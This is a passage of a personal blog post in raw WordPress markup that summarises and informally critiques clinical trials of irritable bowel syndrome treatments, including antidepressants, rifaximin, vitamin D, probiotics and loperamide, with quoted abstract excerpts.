alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0016508503006693\">Cognitive-behavioral therapy versus education and desipramine versus placebo for moderate to severe functional bowel disorders - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a fun study which compared therapy vs. desipramine, which is an antidepressant. Therapy came out better than desipramine, desipramine came out kind of better than placebo but it’s hard to tell. This one breaks out the “intention to treat” vs. “per protocol”, which basically means that there were a lot of patients who they intended to treat but didn’t (i.e. they dropped out). Also, if you read between the lines, this sort of detailed “subgroup analysis”, where they try to get really specific about who would benefit from desipramine, is usually an attempt to rescue a study that went poorly so they have to find some benefit somewhere. Not a good study!</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intention-to-treat analysis</a> showed CBT as significantly more effective than EDU (<em>P</em> = 0.0001; responder rate, 70% CBT vs. 37% EDU; <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/numbers-needed-to-treat\">number needed to treat</a> [NNT ], 3.1). DES did not show significant benefit over PLA in the intention-to-treat analysis (<em>P</em> = 0.16; responder rate, 60% DES vs. 47% PLA; NNT, 8.1) but did show a statistically significant benefit in the per-protocol analysis (<em>P</em> = 0.01; responder rate, 73% DES vs. 49% PLA; NNT, 5.2), especially when participants with nondetectable blood levels of DES were excluded (<em>P</em> = 0.002). Improvement was best gauged by satisfaction with treatment. Subgroup analyses showed that DES was beneficial over PLA for moderate more than severe symptoms, abuse history, no depression, and diarrhea-predominant symptoms;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2008.03633.x\">Clinical trial: the effect of amitriptyline in patients with diarrhoea‐predominant irritable bowel syndrome - VAHEDI - 2008 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study seems to have a strong effect for low dose amitriptyline, and was overall a well performed study.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients were randomly assigned to receive either 10 mg amitriptyline daily or placebo. Subjects were followed up for 2 months and symptoms were assessed using a questionnaire.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients receiving amitriptyline showed greater complete response, defined as loss of all symptoms, compared with those receiving placebo (68% vs. 28%, <em>P</em> = 0.01).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/jj6ynhnua_NDKcZUNsJY0jfvSwAahDKfLjZX7sAeYtYs5DSjPQbkszEykIhvBDPLXNLIU9YghGdbxXLbDUW-SL0b_WpqW4cArud_Jgb5YNYY9I98QZySQ23TU_zNX5NKUyV_aXJx\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2721237/\">A randomized controlled trial of imipramine in patients with irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study has a remarkably high dropout rate, and it’s hard to even know what to think. Why did half the study leave?</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One hundred and seven patients were enrolled by advertisement or referral by general practitioners and 56 (31 imipramine: 25 placebo) completed the 16-wk study. Baseline characteristics were comparable. A high overall dropout rate was noted in the imipramine and placebo arms (47.5% <em>vs</em> 47.9%, <em>P</em> &gt; 0.05), a mean of 25.0 and 37.4 d from enrollment, respectively (<em>P</em> &lt; 0.05). At the end of 12 wk, there was a significant difference in global symptom relief with imipramine over placebo (per-protocol: 80.6% <em>vs</em> 48.0%, <em>P</em> = 0.01) and a trend on intent-to-treat (ITT) analysis (42.4% <em>vs</em> 25.0%, <em>P</em> = 0.06). This improvement was evident early and persisted to week 16 (<em>P</em> = 0.024 and 0.053 by per-protocol and ITT analyses, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0033318209707649\">A Double-Blind, Randomized, Placebo-Controlled Trial of Paroxetine Controlled-Release in Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study compared psychotherapy vs. paroxetine vs. routine care. Psychotherapy actually came out on top.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Seventy-two patients with IBS participated in a 12-week, double-blind, randomized, <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/placebo-controlled-study\">placebo-controlled study</a> of paroxetine-CR (12.5 mg–50 mg/day).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/intention-to-treat-analysis\">intent-to-treat</a> analyses, there were no significant differences between paroxetine-CR (N = 36) and placebo (N = 36) on reduction in Composite Pain Scores, although the proportion of responders on CGI–I was significantly higher in the paroxetine-CR group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients with severe IBS were randomly allocated to receive 8 sessions of individual psychotherapy, 20 mg daily of the specific serotonin reuptake inhibitor (SSRI) antidepressant, paroxetine, or routine care by a gastroenterologist and general practitioner.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both psychotherapy and paroxetine were superior to treatment as usual in improving the physical aspects of health-related quality of life (SF-36 physical component score improvement, 5.2 [SEM, 1.26], 5.8 [SEM, 1.0], and −0.3 [SEM, 1.17]; <em>P</em> &lt; 0.001), but there was no difference in the psychological component. During the follow-up year, psychotherapy but not paroxetine was associated with a significant reduction in health care costs compared with treatment as usual (psychotherapy, $976 [SD, $984]; paroxetine, $1252 [SD, $1616]; and treatment as usual, $1663 [SD, $3177]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S1542356503700391\">The selective serotonin reuptake inhibitor fluoxetine does not change rectal sensitivity and symptoms in patients with irritable bowel syndrome: A double blind, randomized, placebo-controlled study - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study weirdly looked at rectal sensitivity as a measure, as well as pain. It showed fluoxetine helped with pain, but not with any IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Forty non-depressed IBS patients underwent a rectal <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/barostat\">barostat</a> study to assess the sensitivity to rectal distention before and after 6 weeks of treatment with fluoxetine 20 mg or placebo. Abdominal pain scores, individual <a href=\"https://www.sciencedirect.com/topics/medicine-and-dentistry/gastrointestinal-distress\">gastrointestinal symptoms</a>, global symptom relief, and psychologic symptoms were assessed before and after the intervention</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine did not significantly alter the threshold for discomfort/pain relative to placebo, either in hypersensitive (19 ± 3 vs. 22 ± 2 mm Hg above MDP) or in normosensitive (34 ± 2 vs. 39 ± 4 mm Hg above MDP) IBS patients. Overall, 53% of fluoxetine-treated patients and 76% of placebo-treated patients reported significant abdominal pain scores after 6 weeks (not significant). In contrast, in hypersensitive patients only, fluoxetine significantly reduced the number of patients reporting significant abdominal pain. Gastrointestinal symptoms, global symptom relief, and psychologic symptoms were not altered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/55/8/1095.short\">A controlled crossover study of the selective serotonin reuptake inhibitor citalopram in irritable bowel syndrome | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found an effect of citalopram on pain and bloating, but not really on IBS specific measures.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twenty three non-depressed IBS patients were recruited from a tertiary care centre and included in a crossover trial comparing six weeks of treatment with the SSRI citalopram (20 mg for three weeks, 40 mg for three weeks) with placebo. IBS symptom severity was the primary outcome measure, and depression and anxiety scores were also measured.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After three and six weeks of treatment, citalopram significantly improved abdominal pain, bloating, impact of symptoms on daily life, and overall well being compared with placebo. There was only a modest effect on stool pattern.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/abs/pii/S154235650900891X\">Citalopram Provides Little or No Benefit in Nondepressed Patients With Irritable Bowel Syndrome - ScienceDirect</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found no effect of citalopram.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients from primary, secondary, and tertiary care settings were randomly assigned to receive citalopram (20 mg/day for 4 weeks, then 40 mg/day for 4 weeks) or placebo in a study with double-masking and concealed allocation. Symptoms were assessed weekly, and IBS-QOL and rectal sensation by barostat were assessed at the beginning and end of the study.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/full/10.1111/j.1365-2036.2005.02566.x\">The effect of fluoxetine in patients with pain and constipation‐predominant irritable bowel syndrome: a double‐blind randomized‐controlled study - VAHEDI - 2005 - Alimentary Pharmacology &amp;amp; Therapeutics - Wiley Online Library</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study found a big effect of fluoxetine on constipation, and seemed well-performed. They didn’t check if their patients were anxious or depressed, though.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fluoxetine was significantly more effective than placebo in decreasing abdominal discomfort, relieving feeling and sense of bloating, increasing frequency of bowel movements and decreasing consistency of stool. Mean number of symptoms per patient decreased from 4.6 to 0.7 in the fluoxetine group vs. 4.5 to 2.9 in controls (<em>P</em> &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scholar.google.com/scholar_lookup?journal=Digestive+diseases+and+sciences&amp;title=Antidepressant+therapy+(imipramine+and+citalopram)+for+irritable+bowel+syndrome:+a+double-blind,+randomized,+placebo-controlled+trial&amp;author=NJ+Talley&amp;author=JE+Kellow&amp;author=P+Boyce&amp;author=C+Tennant&amp;author=S+Huskic&amp;volume=53&amp;issue=1&amp;publication_year=2008&amp;pages=108-15&amp;pmid=17503182&amp;doi=10.1007/s10620-007-9830-4&amp;\">Talley: Antidepressant therapy (imipramine and citalopram... - Google Scholar</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study didn’t find any effect for citalopram, but it did find it for imipramine.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of&nbsp; 51&nbsp; IBS&nbsp; patients&nbsp; randomized,&nbsp; baseline&nbsp; characteristics were comparable among the treatment arms; themajority was diarrhea-predominant. Adequate relief of IBS symptoms&nbsp; (primary&nbsp; endpoint)&nbsp; was&nbsp; similar&nbsp; for&nbsp; each&nbsp; treat-ment arm. Improvements in bowel symptom severity rating for&nbsp; interference&nbsp; (P= 0.05)&nbsp; and&nbsp; distress&nbsp; (P= 0.02)&nbsp; were greater with imipramine versus placebo, but improvements in abdominal &nbsp; pain&nbsp; were not. There &nbsp; was &nbsp; a &nbsp; greater improvement in depression score (P = 0.08) and in the SF-36 Mental Component&nbsp; Score (P= 0.07), with imipramine. Citalopram was not superior to placebo. Approximately 20% of&nbsp; the&nbsp; variance&nbsp; in&nbsp; scores&nbsp; was&nbsp; explained&nbsp; by&nbsp; treatment&nbsp; differences&nbsp; for&nbsp; abdominal&nbsp; pain,&nbsp; bowel&nbsp; symptom&nbsp; severity disability, depression and the mental component of the SF-36.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Rifaximin</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Rifaximin can definitely benefit IBS-D, and may help IBS-C. It doesn’t seem to have any side effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5291563/\">Rifaximin for Irritable Bowel Syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a metastudy of the 4 studies they found that tested rifaximin. Rifaximin came out pretty well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/fVb03CIWGHTEN9MXLF2XWw1hpiKtjoT1YdZ33BJBlz2VXiQ4omkgf6fWUsgbmPkRcyWhEaBcjTBfLViuKO1C0sQjncujoZPFB03SKxVI53c785ZDZS3LhUfJeNkkXre5sqBJK4vL\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/O2cQK6kc7C0Ryx4YJdnK2g8cyt1gy04hVK5HESHprJIUiYMClToNSGqZRURu3IrA185CgEsHkS16ssD3MIns7oOI6SNdkeRULPiEgV-o6R8O2ZnRD2lrzMPQ-yG9hC5JlpGELUrz\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Abdominal Pain</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of abdominal pain during the treatment period was observed between the 3 RCTs in which abdominal pain was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nausea</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of nausea during the treatment period was observed between the 3 RCTs in which nausea was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vomiting</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of vomiting during the treatment period was observed between the 3 RCTs in which vomiting was reported (<em>I</em>2 = 0%)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Headache</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No significant heterogeneity in the occurrence of headache during the treatment period was observed between the 3 RCTs in which headache was reported (<em>I</em>2 = 0%).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Vitamin D</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Very high doses of vitamin D every 2 weeks probably improve IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1111/nmo.12851\"><strong>Effect of vitamin D on gastrointestinal symptoms and health‐related quality of life in irritable bowel syndrome patients: a randomized double‐blind clinical trial - Abbasnezhad - 2016 - Neurogastroenterology &amp;amp; Motility - Wiley Online Library</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>I like this one because it’s actually long term. It shows remarkably big effects, too.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of 90 IBS patients participated in this double‐blind, randomized, placebo‐controlled study. Participants were randomly selected to receive either 50 000 IU vitamin D3 or a placebo fortnightly for a period of 6 months. Patients reported their IBS symptoms at the baseline and monthly during intervention periods</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the 6‐month intervention period, a significantly greater improvement in IBS symptoms such as abdominal pain and distention, flatulence, rumbling, and overall gastrointestinal (GI) symptoms (except dissatisfaction with bowel habits) was observed in the patients receiving vitamin D as compared to the placebo group. The IBSSS and the IBS‐QoL scores in the vitamin D group significantly improved compared to the placebo group postintervention (mean IBSSS score change: −53.82 ± 23.3 <em>vs</em> −16.85 ± 25.01, <em>p</em> &lt; 0.001, respectively; mean IBS‐QoL score change: 14.26 ± 3 <em>vs</em> 11 ± 2.34, <em>p</em> &lt; 0.001, respectively).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0158545\">Co-Administration of Soy Isoflavones and Vitamin D in Management of Irritable Bowel Disease (plos.org)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one also tests isoflavones, and seems to find a bigger effect of soy isoflavones than vitamin D, although both have an effect. It was only for 6 weeks, though. Also, the groups seem really poorly assigned: the before scores are all over the place.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a factorial blinded randomized clinical trial, 100 women with IBS (age:18-75yr, were randomly assigned in 4 arms to receive either placebo of vitamin D and placebo of soy isoflavones (P+P), or placebo of vitamin D and soy isoflavones (P+S), or vitamin D and placebo of soy isoflavones (D+P), or vitamin D and soy isoflavones (D+S) for 6 weeks. Dosage of soy isoflavone was 2 capsules of 20 mg soy isoflavones per day, and dosage of vitamin D was one pearl of 50’000 IU biweekly. The clinical outcomes were IBS symptoms severity scores (IBS-SSS), disease- specific quality of life (IBS-QOL) and total score (IBS-TS) that evaluated at weeks 0, 6, and 10, and compared to each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh6.googleusercontent.com/3kC-UPQilx1ay5tWQbbPZvLJXsM5BFWne2W6gcxkE6bY9TFqss83v7RvEkLiSlGqS1PYfpa-bCsHTQm5VgOgzcfDSDErjjBYN7FuWFYm6SWeuEUjXW2xTWRcKq-tWeXVR2MUgOyi\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh5.googleusercontent.com/3O_uEfVZsAkC3sARQuSFvgklEkbx-okq5onFxlFs2rfyACX7-J8MppqULeG8w2wWByw2bknhPu67PvGwdOz5zSv2fcl1UT3g11ySBmO_UXzUlgzEzWDKc3Tpl4TvHIaz93UJ18UW\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Soy isoflavones</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Soy isoflavones may improve IBS, but it’s hard to tell.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4560632/\">Soy Isoflavones Supplementation for Patients with Irritable Bowel Syndrome: A Randomized Double Blind Clinical Trial (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is just testing soy isoflavones. It’s really hard to tell what’s going on here, as either the soy isoflavones did show some amount of improvement that was almost significant (p value of 0.068), or they actually made things worse.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a randomized double blind placebo-controlled clinical trial, 67 patients with IBS were allocated to consume either soy isoflavones capsules or a placebo for 6 weeks. The primary outcome was a significant reduction in symptoms severity score and the secondary outcome was a significant improvement in quality of life.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>45 participants completed the study. There was no significant changes in mean differences of symptoms severity score between the two groups; however soy isoflavone supplementation could significantly improve the quality of life scores (<em>p</em>=0.009).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh4.googleusercontent.com/Gwt0z67QCnAeyoz2MSiLwj_7d_nkS1t1oHpoxr269unsANIrqP5lImRD2n8K2y9QsVfOg2hO-jliOT4Hb8eLrj1WtZZ_h9_WoyvQEmI-3THmYjwkY-Exaqpb65XsOrDOQOFfPjpO\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><strong>Acupuncture</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Acupuncture probably doesn’t work better than fake acupuncture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3718572/\">Acupuncture for treatment of irritable bowel syndrome (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This one seems self-explanatory. Also, I’m biased against acupuncture.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We found no evidence of an improvement with acupuncture relative to sham (placebo) acupuncture for symptom severity (SMD-0.11, 95%CI −0.35 to 0.13; 4 RCTs; 281 patients) or quality of life (SMD = −0.03, 95%CI −0.27 to 0.22; 3 RCTs; 253 patients).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Probiotics</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probiotics may help a little bit but it’s hard to tell. This is compounded by the fact that how probiotics are stored and processed matters a lot to whether they survive all the way to colonize your digestive tract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://scielo.isciii.es/pdf/diges/v105n1/original4.pdf#page=1\">Effect of probiotic species on irritable bowel syndrome symptoms:A bring up to date meta-analysis</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study only looked at species, and not at formulation. Also, I don’t trust that some probiotics improve pain, but not distension. That doesn’t make sense.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/GqMUYE2BjG5CWvQfcimTf9mp5ZlN4BsKG_pJzwf47UuTyktOEW9466BAuIKOyWMQAgqY1lw8nzp2UrMPv7RFc6MUOMsycpjbUGL-1_mOhyd1hPv8nMJRgQoydktSOvmfYAmBRBJG\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/books/NBK77020/\">The utility of probiotics in the treatment of irritable bowel syndrome: a systematic review - Database of Abstracts of Reviews of Effects (DARE): Quality-assessed Reviews - NCBI Bookshelf (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study. It discusses that the only properly performed studies that showed a good effect were on B.infantis.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sixteen RCTs (n=1,342) met the inclusion criteria. Studies scored between 5 and 12 points on the Rome II methodology scale. Eleven studies were considered to be of suboptimal design (precise definition of suboptimal was not clear).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two of the appropriately-designed RCTs evaluated Bifidobacterium infantis 35624 and reported statistically significant improvements in abdominal pain/discomfort, bloating/distension and/or bowel movement relative to placebo (p&lt;0.05). In these two trials B. infantis 35624 was given daily for four or eight weeks as 1x1010 live cells in malted milk drink or 1x106, 1x108 or 1x1010 colony forming units per millilitre in capsule form. None of the other studies described as appropriately designed showed significant improvements in IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No studies reported quantifiable data on relative tolerability or adverse events.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/03007995.2017.1292230\">Efficacy of Bifidobacterium infantis 35624 in patients with irritable bowel syndrome: a meta-analysis: Current Medical Research and Opinion: Vol 33, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study on B. infantis specifically. They found that single B. infantis didn’t help, but combination B. infantis did. That doesn’t really make sense to me. I’d bet it’s a formulation problem.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of five studies were identified as suitable for inclusion, including three studies with single probiotic <em>B. infantis</em> and two studies with composite probiotics containing <em>B. infantis</em>. Treatment with single probiotic <em>B. infantis</em> didn’t impact on abdominal pain, bloating/distention, or bowel habit satisfaction among IBS patients. However, patients who received composite probiotics containing <em>B. infantis</em> had significantly reduced abdominal pain (SMD, 0.22; 95% CI, 0.03–0.41) and bloating/distention (SMD, 0.30; 95% CI, 0.04–0.56). After combining the data from six studies, the improvement of bloating/distention among IBS patients remained significant (SMD, 0.21; 95% CI, 0.07–0.35).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Mesalazine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesalazine is probably not effective in IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/65/1/82.short\">Randomised controlled trial of mesalazine in IBS | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>So, this paper basically found that both placebo and mesalazine had the same “response rate”, which was 67%. Then they tried to rescue it by doing a bunch of complicated statistics, but it really didn’t work that well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the primary endpoint, the responder patients were 68.6% in the mesalazine group versus 67.4% in the placebo group (p=0.870; 95% CI −12.8 to 15.1). In explorative analyses, with the 75% rule or &gt;75% rule, the percentage of responders was greater in the mesalazine group with a difference over placebo of 11.6% (p=0.115; 95% CI −2.7% to 26.0%) and 5.9% (p=0.404; 95% CI −7.8% to 19.4%), respectively, although these differences were not significant. For the key secondary endpoint, overall symptoms improved in the mesalazine group and reached a significant difference of 15.1% versus placebo (p=0.032; 95% CI 1.5% to 28.7%) with the &gt;75% rule.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Loperamide</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1\">https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study basically showed that loperamide works well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loperamide treatment accelerated gastric emptying, compared with placebo (1.2 +- 0.1 vs 1.5 +- 0.1 hr; P &lt; 0.001) and delayed both small bowel (6.2 + 0.3 vs 4.3 + 0.3 hr; P &lt; 0.001) and whole gut transit (56 +- 5 vs 42 +_ 4 hr; P &lt; 0.01). Eighteen patients said they felt better taking loperamide compared with placebo and, at follow up, 15 of these patients remained satisfied with the effects of the drug. Most symptoms improved significantly on placebo compared with the baseline period, but three of these [diarrhea (P &lt; 0.01), urgency (P &lt; 0.01) and borborygmi (P &lt; 0.05)] showed a further significant improvement on loperamide. Improvement in diarrhea was not associated with any change in stool weight but was associated with reductions in stool frequency (P &lt; 0.001), passage of unformed stools (P &lt; 0.01), and incidence of urgency (P &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365529609006766\">A Double-Blind Placebo-Controlled Trial with Loperamide in Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 31, No 5 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide improved IBS symptoms, but increased pain at night.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Clinical variables and social and personal relationships were similar for the loperamide group (<em>n</em>&nbsp;= 35), the placebo group (<em>n</em>&nbsp;= 34), the dropouts (<em>n</em>&nbsp;= 21), and the controls. Somatic diseases and mental disturbances were increased in the patients compared with the controls. Throughout the 5 weeks of treatment an improved stool consistency (32%), reduced defecation frequency (36%), and reduced intensity of pain (30%) were found in the loperamide group. An increase in nightly pain was observed in the loperamide group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091004\">Loperamide Treatment of the Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helped diarrhea but made constipation worse (duh).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a group of patients with painless diarrhoea (n = 16) there was a highly significant improvement in stool frequency and consistency. In a group with alternating bowel habits and abdominal pain (n = 21) there was also a statistically significant improvement in stool frequency and consistency as well as significantly fewer painful days during loperamide treatment. Patients with alternating bowel habits and no pain (n = 12) experienced no symptomatic improvement, and patients with constipation (n = 9) generally felt worse on loperamide. No side effects were encountered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091003\">Loperamide in Treatment of Irritable Bowel Syndrome—A Double-Blind Placebo Controlled Study: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helps diarrhea and diarrhea-related symptoms.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The effects of loperamide in patients with IBS (all had diarrhoea as a main symptom) were studied in a double-blind placebo 